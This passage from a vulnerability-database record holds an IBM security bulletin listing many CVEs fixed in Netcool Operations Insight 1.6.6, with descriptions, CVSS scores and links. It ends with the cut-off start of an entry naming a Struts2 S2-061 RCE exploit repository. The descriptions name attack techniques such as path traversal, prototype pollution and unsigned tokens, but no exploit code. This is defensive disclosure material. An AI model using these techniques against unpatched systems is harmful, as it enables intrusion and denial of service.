large amount of RAM and cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219442](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219442>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-23773](<https://vulners.com/cve/CVE-2022-23773>) \n** DESCRIPTION: **An unspecified error with not treating branches with semantic-version names as releases in cmd/go in Golang Go has an unknown impact and attack vector. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219443](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219443>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2022-23806](<https://vulners.com/cve/CVE-2022-23806>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a flaw with IsOnCurve function returns true for invalid field elements. By sending a specially-crafted request, an attacker could exploit this vulnerability to causes a panic in ScalarMult, and results in a denial of condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219444](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219444>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-24675](<https://vulners.com/cve/CVE-2022-24675>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a stack-based buffer overflow in encoding/pem in the Decode feature. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the program to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/224866](<https://exchange.xforce.ibmcloud.com/vulnerabilities/224866>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-24921](<https://vulners.com/cve/CVE-2022-24921>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by improper input validation. By using a specially-crafted deeply nested expression, a remote attacker could exploit this vulnerability to cause a goroutine stack exhaustion, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/221503](<https://exchange.xforce.ibmcloud.com/vulnerabilities/221503>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-28327](<https://vulners.com/cve/CVE-2022-28327>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by improper input validaiton by the generic P-256 feature in crypto/elliptic. By sending a specially-crafted request with long scalar input, a remote attacker could exploit this vulnerability to cause a panic on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/224871](<https://exchange.xforce.ibmcloud.com/vulnerabilities/224871>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2014-0114](<https://vulners.com/cve/CVE-2014-0114>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the failure to restrict the setting of Class Loader attributes. An attacker could exploit this vulnerability using the class parameter of an ActionForm object to manipulate the ClassLoader and execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92889](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92889>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2019-10086](<https://vulners.com/cve/CVE-2019-10086>) \n** DESCRIPTION: **Apache Commons Beanutils could allow a remote attacker to gain unauthorized access to the system, caused by the failure to suppresses the class property in bean introspection by default. An attacker could exploit this vulnerability to gain unauthorized access to the classloader. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/166353](<https://exchange.xforce.ibmcloud.com/vulnerabilities/166353>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2020-13956](<https://vulners.com/cve/CVE-2020-13956>) \n** DESCRIPTION: **Apache HttpClient could allow a remote attacker to bypass security restrictions, caused by the improper handling of malformed authority component in request URIs. By passing request URIs to the library as java.net.URI object, an attacker could exploit this vulnerability to pick the wrong target host for request execution. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/189572](<https://exchange.xforce.ibmcloud.com/vulnerabilities/189572>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-29425](<https://vulners.com/cve/CVE-2021-29425>) \n** DESCRIPTION: **Apache Commons IO could allow a remote attacker to traverse directories on the system, caused by improper input validation by the FileNameUtils.normalize method. An attacker could send a specially-crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199852](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199852>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-21409](<https://vulners.com/cve/CVE-2021-21409>) \n** DESCRIPTION: **Netty is vulnerable to request smuggling, caused by improper validation of request, caused by missing validation of content-length. By sending specially-crafted request, an attacker could exploit this vulnerability to poison a web-cache, perform an XSS attack, or obtain sensitive information from request. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199150](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199150>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-21295](<https://vulners.com/cve/CVE-2021-21295>) \n** DESCRIPTION: **Netty is vulnerable to HTTP request smuggling, caused by improper validation of Content-Length header by the Http2MultiplexHandler. By sending specially crafted HTTP request headers, an attacker could exploit this vulnerability to poison a web-cache, perform an XSS attack, or obtain sensitive information from request. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197999](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197999>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-21290](<https://vulners.com/cve/CVE-2021-21290>) \n** DESCRIPTION: **Netty could allow a local authenticated attacker to obtain sensitive information, caused by an insecure temp file in Unix-like systems. By sending a specially-crafted request, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197110](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197110>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2016-1000023](<https://vulners.com/cve/CVE-2016-1000023>) \n** DESCRIPTION: **Minimatch is vulnerable to a denial of service, caused by a regular expression of minimatch.js. By using a specially crafted glob pattern, a remote attacker could exploit this vulnerability to cause the application to consume an overly large amount of CPU resources \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118817](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118817>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-24839](<https://vulners.com/cve/CVE-2022-24839>) \n** DESCRIPTION: **Sparkle Motion Nokogiri is vulnerable to a denial of service, caused by a java.lang.OutOfMemoryError exception when parsing ill-formed HTML markup in the fork of org.cyberneko.html. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/224089](<https://exchange.xforce.ibmcloud.com/vulnerabilities/224089>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-24329](<https://vulners.com/cve/CVE-2022-24329>) \n** DESCRIPTION: **JetBrains Kotlin could provide weaker than expected security, caused by failing to lock dependencies for Multiplatform Gradle Projects. A remote attacker could exploit this vulnerability to launch further attacks on the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/220617](<https://exchange.xforce.ibmcloud.com/vulnerabilities/220617>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-31566](<https://vulners.com/cve/CVE-2021-31566>) \n** DESCRIPTION: **libarchive could allow a local attacker to gain elevated privileges on the system, caused by an improper link resolution flaw. By using a specially-crafted archive file, an attacker could exploit this vulnerability to change modes, times, access control lists, and flags of a file on the system to gain elevated privileges. \nCVSS Base score: 4.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/222218](<https://exchange.xforce.ibmcloud.com/vulnerabilities/222218>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) \n \n** CVEID: **[CVE-2021-23177](<https://vulners.com/cve/CVE-2021-23177>) \n** DESCRIPTION: **libarchive could allow a local attacker to gain elevated privileges on the system, caused by an improper link resolution flaw. By using a specially-crafted archive file, an attacker could exploit this vulnerability to change the ACL of a file on the system and gain elevated privileges. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/222216](<https://exchange.xforce.ibmcloud.com/vulnerabilities/222216>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L) \n \n** CVEID: **[CVE-2021-3634](<https://vulners.com/cve/CVE-2021-3634>) \n** DESCRIPTION: **libssh is vulnerable to a heap-based buffer overflow, caused by improper bounds checking. By sending a specially-crafted request, a remote authenticated attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208281](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208281>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L) \n \n** CVEID: **[CVE-2020-13949](<https://vulners.com/cve/CVE-2020-13949>) \n** DESCRIPTION: **Apache Thrift is vulnerable to a denial of service, caused by improper input validation. By sending specially-crafted messages, a remote attacker could exploit this vulnerability to cause a large memory allocation. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196738](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196738>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-23308](<https://vulners.com/cve/CVE-2022-23308>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by a use-after-free in the ID and IDREF attributes. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/220772](<https://exchange.xforce.ibmcloud.com/vulnerabilities/220772>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2022-25878](<https://vulners.com/cve/CVE-2022-25878>) \n** DESCRIPTION: **Node.js protobufjs module could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw. By adding or modifying properties of Object.prototype using a __proto__ or constructor payload, an attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system. \nCVSS Base score: 8.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/227327](<https://exchange.xforce.ibmcloud.com/vulnerabilities/227327>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) \n \n** CVEID: **[CVE-2022-0155](<https://vulners.com/cve/CVE-2022-0155>) \n** DESCRIPTION: **follow-redirects could allow a remote attacker to obtain sensitive information, caused by an unauthorized actor. By sending a specially-crafted request, a remote authenticated attacker could exploit this vulnerability to obtain private personal information and use this information to launch further attacks against the affected system. \nCVSS Base score: 8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216974](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216974>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-0536](<https://vulners.com/cve/CVE-2022-0536>) \n** DESCRIPTION: **Node.js follow-redirects module could allow a remote authenticated attacker to obtain sensitive information, caused by a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. By utilize man-in-the-middle attack techniques, an attacker could exploit this vulnerability to obtain Authorization header information, and use this information to launch further attacks against the affected system. \nCVSS Base score: 2.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219551](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219551>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2021-44878](<https://vulners.com/cve/CVE-2021-44878>) \n** DESCRIPTION: **pac4j could allow a remote attacker to bypass security restrictions, caused by improper validation for ID Tokens with \"none\" algorithm. By injecting a specially-crafted ID token using \"none\" as the value of \"alg\" key, an attacker could exploit this vulnerability to bypass the token validation. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216856](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216856>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2022-29622](<https://vulners.com/cve/CVE-2022-29622>) \n** DESCRIPTION: **Node.js Formidable module could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions. By sending a specially-crafted HTTP request using the filename parameter, an attacker could exploit this vulnerability to upload a malicious PDF file, which could allow the attacker to execute arbitrary code on the vulnerable system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/226582](<https://exchange.xforce.ibmcloud.com/vulnerabilities/226582>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3807](<https://vulners.com/cve/CVE-2021-3807>) \n** DESCRIPTION: **Chalk ansi-regex module for Node.js is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw. By sending a specially-crafted regex input, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209596](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209596>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-24785](<https://vulners.com/cve/CVE-2022-24785>) \n** DESCRIPTION: **Moment.js could allow a remote attacker to traverse directories on the system, caused by improper validation of user supplied input. An attacker could send a specially-crafted locale string containing \"dot dot\" sequences (/../) to switch arbitrary moment locale. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223451](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223451>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2020-36327](<https://vulners.com/cve/CVE-2020-36327>) \n** DESCRIPTION: **Bundler could allow a remote attacker to execute arbitrary code on the system, caused by a flaw when choosing a dependency source. By using a specially-crafted gem, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201080](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201080>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-23219](<https://vulners.com/cve/CVE-2022-23219>) \n** DESCRIPTION: **GNU C Library (aka glibc) is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the clnt_create function in the sunrpc module. By sending a specially-crafted hostname argument, a local attacker could overflow a buffer and execute arbitrary code or cause a denial of service on the system. \nCVSS Base score: 8.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/217303](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217303>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3999](<https://vulners.com/cve/CVE-2021-3999>) \n** DESCRIPTION: **GNU glibc is vulnerable to an off-by-one buffer overflow and underflow, caused by improper bounds checking by the getcwd() function. By sending a specially-crafted request, a local authenticated attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 8.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/217981](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217981>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-23218](<https://vulners.com/cve/CVE-2022-23218>) \n** DESCRIPTION: **GNU C Library (aka glibc) is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the svcunix_create function in the sunrpc module. By sending a specially-crafted path argument, a local attacker could overflow a buffer and execute arbitrary code or cause a denial of service on the system. \nCVSS Base score: 8.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/217302](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217302>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22822](<https://vulners.com/cve/CVE-2022-22822>) \n** DESCRIPTION: **Expat could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow of addBinding in xmlparse.c. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216908](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216908>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22823](<https://vulners.com/cve/CVE-2022-22823>) \n** DESCRIPTION: **Expat could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow of build_model in xmlparse.c. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216907](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216907>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22824](<https://vulners.com/cve/CVE-2022-22824>) \n** DESCRIPTION: **Expat could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow of defineAttribute in xmlparse.c. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216906](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216906>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-23852](<https://vulners.com/cve/CVE-2022-23852>) \n** DESCRIPTION: **Expat (aka libexpat) could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in the XML_GetBuffer function. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/218007](<https://exchange.xforce.ibmcloud.com/vulnerabilities/218007>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-25235](<https://vulners.com/cve/CVE-2022-25235>) \n** DESCRIPTION: **libexpat is vulnerable to a denial of service, caused by improper input validation in xmltok_impl.c. By persuading a victim to open a specially-crafted content with malformed encoding, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219782](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219782>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2022-25236](<https://vulners.com/cve/CVE-2022-25236>) \n** DESCRIPTION: **libexpat is vulnerable to a denial of service, caused by improper protection against insertion of namesep characters into namespace URIs in xmlparse.c. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219784](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219784>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2022-25315](<https://vulners.com/cve/CVE-2022-25315>) \n** DESCRIPTION: **libexpat could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in storeRawNames. By persuading a victim to open a specially-crafted file, an attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/219945](<https://exchange.xforce.ibmcloud.com/vulnerabilities/219945>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22825](<https://vulners.com/cve/CVE-2022-22825>) \n** DESCRIPTION: **Expat could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow of lookup in xmlparse.c. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216905](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216905>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-23358](<https://vulners.com/cve/CVE-2021-23358>) \n** DESCRIPTION: **Node.js underscore module could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the template function. By sending a specially-crafted argument using the variable property, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198958](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198958>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3765](<https://vulners.com/cve/CVE-2021-3765>) \n** DESCRIPTION: **validator.js is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw when calling the rtrim function. By sending a specially-crafted regex input, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212669](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212669>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nNetcool Operations Insight| 1.4.x \nNetcool Operations Insight| 1.5.x \nNetcool Operations Insight| 1.6.x \n \n\n\n## Remediation/Fixes\n\nNetcool Operations Insight v1.6.6 can be deployed on-premises, on a supported cloud platform, or on a hybrid cloud and on-premises architecture. \n\nIBM strongly suggests the following remediation / fixes:\n\nPlease go to [https://www.ibm.com/docs/en/noi/1.6.6?topic=installing](<https://www.ibm.com/docs/en/noi/1.6.4?topic=installing>) to follow the installation instructions relevant to your chosen architecture.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-25T13:11:39", "type": "ibm", "title": "Security Bulletin: Netcool Operations Insight v1.6.6 contains fixes for multiple security vulnerabilities.", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0114", "CVE-2016-1000023", "CVE-2019-10086", "CVE-2020-13949", "CVE-2020-13956", "CVE-2020-14039", "CVE-2020-15586", "CVE-2020-16845", "CVE-2020-17530", "CVE-2020-24553", "CVE-2020-28362", "CVE-2020-28366", "CVE-2020-28367", "CVE-2020-36327", "CVE-2020-7919", "CVE-2021-21290", "CVE-2021-21295", "CVE-2021-21409", "CVE-2021-22144", "CVE-2021-23177", "CVE-2021-23358", "CVE-2021-23450", "CVE-2021-27918", "CVE-2021-29425", "CVE-2021-29923", "CVE-2021-3114", "CVE-2021-31525", "CVE-2021-31566", "CVE-2021-31805", "CVE-2021-33195", "CVE-2021-33196", "CVE-2021-33197", "CVE-2021-33198", "CVE-2021-36221", "CVE-2021-3634", "CVE-2021-3765", "CVE-2021-3807", "CVE-2021-38297", "CVE-2021-39293", "CVE-2021-3999", "CVE-2021-41771", "CVE-2021-41772", "CVE-2021-44716", "CVE-2021-44878", "CVE-2022-0155", "CVE-2022-0536", "CVE-2022-22822", "CVE-2022-22823", "CVE-2022-22824", "CVE-2022-22825", "CVE-2022-23218", "CVE-2022-23219", "CVE-2022-23308", "CVE-2022-23772", "CVE-2022-23773", "CVE-2022-23806", "CVE-2022-23852", "CVE-2022-24329", "CVE-2022-24675", "CVE-2022-24785", "CVE-2022-24839", "CVE-2022-24921", "CVE-2022-25235", "CVE-2022-25236", "CVE-2022-25315", "CVE-2022-25878", "CVE-2022-28327", "CVE-2022-29622"], "modified": "2022-10-25T13:11:39", "id": "DED899C681C4F01F658F5349E77058BDF8C51E88FADBC17AC63AAD856B4CADE5", "href": "https://www.ibm.com/support/pages/node/6831813", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-02-01T00:00:00", "description": "# freemarker_RCE_struts2_s2-061\n(c...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": 